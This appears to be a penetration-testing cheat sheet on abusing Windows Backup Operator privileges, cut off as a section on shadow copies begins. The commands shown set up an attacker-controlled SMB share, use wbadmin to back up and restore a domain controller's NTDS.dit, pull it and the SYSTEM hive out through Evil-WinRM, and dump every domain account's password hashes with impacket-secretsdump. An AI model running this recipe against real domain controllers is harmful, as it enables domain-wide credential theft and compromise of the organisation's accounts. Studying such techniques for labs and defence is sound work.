Backup Operator

What to do when you have SeBackupPrivilege and SeRestorePrivilege

With WBAdmin

Reference: https://gist.github.com/manesec/9e0e8000446b966d0f0ef74000829801

Setup local SMB share

# Create 2G Disk
dd if=/dev/zero of=ntfs.disk bs=1024M count=2 

# Mount disk
sudo losetup -fP ntfs.disk

# Check Mount 
losetup -a

# format ntfs
sudo mkfs.ntfs /dev/loop0

# Mount 
sudo mount /dev/loop0 smb/

# Check mount
mount | grep smb

Add in /etc/samba/smb.conf:

# add config
[name]
   comment = test
   path = /path/to/smb
   writeable = yes
   guest ok = yes
   read only = no
   valid users = smbuser
   write list = smbuser
   force user = root

Create SMB user:

# add user
sudo adduser smbuser

# set password
sudo smbpasswd -a smbuser

# restart smb
sudo service smb restart

Mount local share in machine

net use M: \\10.10.16.14\mane /user:smbuser password

Perform backup and restore

echo "Y" | wbadmin start backup -backuptarget:\\IP\name -include:c:\windows\ntds

# Get latest backup version identifier
wbadmin get versions

# Restore the NTDS.dit
echo "Y" | wbadmin start recovery -version:10/09/2023-23:48 -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl

Get hashes

Download NTDS and SYSTEM:

*Evil-WinRM* PS> download C:\ntds.dit
*Evil-WinRM* PS> M:
*Evil-WinRM* PS> reg save HKLM\SYSTEM system

Get hashes:

$ impacket-secretsdump -ntds ntds.dit -system system LOCAL

With ShadowCopy